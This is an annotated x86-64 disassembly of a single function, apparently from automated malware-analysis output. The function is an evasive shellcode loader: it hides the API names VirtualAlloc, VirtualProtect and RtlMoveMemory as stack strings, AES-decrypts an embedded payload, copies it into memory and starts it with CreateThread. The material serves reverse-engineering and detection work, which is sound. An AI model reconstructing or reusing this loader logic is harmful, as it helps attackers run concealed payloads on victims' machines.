Function at 0x401b1d
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x90
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov dword [rbp + 0x28], r9d
mov dword [rbp - 0x24], 0
movabs rax, 0x3845515138333234
mov qword [rbp - 0x31], rax
mov dword [rbp - 0x29], 0x4f425a46
mov byte [rbp - 0x25], 0
mov byte [rbp - 0x40], 0x56
mov byte [rbp - 0x3f], 0x69
mov byte [rbp - 0x3e], 0x72
mov byte [rbp - 0x3d], 0x74
mov byte [rbp - 0x3c], 0x75
mov byte [rbp - 0x3b], 0x61
mov byte [rbp - 0x3a], 0x6c
mov byte [rbp - 0x39], 0x50
mov byte [rbp - 0x38], 0x72
mov byte [rbp - 0x37], 0x6f
mov byte [rbp - 0x36], 0x74
mov byte [rbp - 0x35], 0x65
mov byte [rbp - 0x34], 0x63
mov byte [rbp - 0x33], 0x74
mov byte [rbp - 0x32], 0
mov byte [rbp - 0x4d], 0x56
mov byte [rbp - 0x4c], 0x69
mov byte [rbp - 0x4b], 0x72
mov byte [rbp - 0x4a], 0x74
mov byte [rbp - 0x49], 0x75
mov byte [rbp - 0x48], 0x61
mov byte [rbp - 0x47], 0x6c
mov byte [rbp - 0x46], 0x41
mov byte [rbp - 0x45], 0x6c
mov byte [rbp - 0x44], 0x6c
mov byte [rbp - 0x43], 0x6f
mov byte [rbp - 0x42], 0x63
mov byte [rbp - 0x41], 0
mov byte [rbp - 0x5b], 0x52
mov byte [rbp - 0x5a], 0x74
mov byte [rbp - 0x59], 0x6c
mov byte [rbp - 0x58], 0x4d
mov byte [rbp - 0x57], 0x6f
mov byte [rbp - 0x56], 0x76
mov byte [rbp - 0x55], 0x65
mov byte [rbp - 0x54], 0x4d
mov byte [rbp - 0x53], 0x65
mov byte [rbp - 0x52], 0x6d
mov byte [rbp - 0x51], 0x6f
mov byte [rbp - 0x50], 0x72
mov byte [rbp - 0x4f], 0x79
mov byte [rbp - 0x4e], 0
lea rcx, str.KERNEL32.DLL
call sym.myGetModuleHandle_wchar_t_const_
mov rcx, rax
lea rax, [rbp - 0x40]
mov rdx, rax
call sym.myGetProcAddress_HINSTANCE____char_const_
mov qword [rbp - 8], rax
lea rcx, str.KERNEL32.DLL
call sym.myGetModuleHandle_wchar_t_const_
mov rcx, rax
lea rax, [rbp - 0x4d]
mov rdx, rax
call sym.myGetProcAddress_HINSTANCE____char_const_
mov qword [rbp - 0x10], rax
lea rcx, str.KERNEL32.DLL
call sym.myGetModuleHandle_wchar_t_const_
mov rcx, rax
lea rax, [rbp - 0x5b]
mov rdx, rax
call sym.myGetProcAddress_HINSTANCE____char_const_
mov qword [rbp - 0x18], rax
mov eax, dword [0x0072de10]
mov edx, eax
mov rax, qword [rbp - 0x10]
mov r9d, 0x40
mov r8d, 0x1000
mov ecx, 0
call rax
mov qword [rbp - 0x20], rax
mov eax, dword [0x0072de10]
add eax, 0x1000
mov r10d, eax
lea rdx, [rbp - 0x24]
mov rcx, qword [rbp - 0x20]
mov rax, qword [rbp - 8]
mov r9, rdx
mov r8d, 4
mov rdx, r10
call rax
mov eax, dword [0x0072de10]
mov r9d, 0x10
lea r8, [0x0072de00]
mov edx, eax
lea rcx, [0x00409020]
call sym.AESDecrypt_char__unsigned_int__char__unsigned_long_long_
mov eax, dword [0x0072de10]
mov edx, eax
mov rcx, qword [rbp - 0x20]
mov rax, qword [rbp - 0x18]
mov r8, rdx
lea rdx, [0x00409020]
call rax
mov edx, dword [rbp - 0x24]
mov eax, dword [0x0072de10]
add eax, 0x1000
mov r10d, eax
lea r8, [rbp - 0x24]
mov rcx, qword [rbp - 0x20]
mov rax, qword [rbp - 8]
mov r9, r8
mov r8d, edx
mov rdx, r10
call rax
mov rax, qword [rbp - 0x20]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
lea rcx, str.Bye_Bye__n
call sym.printf_char_const__::_
call sym.getchar
mov eax, 0
add rsp, 0x90
pop rbp
ret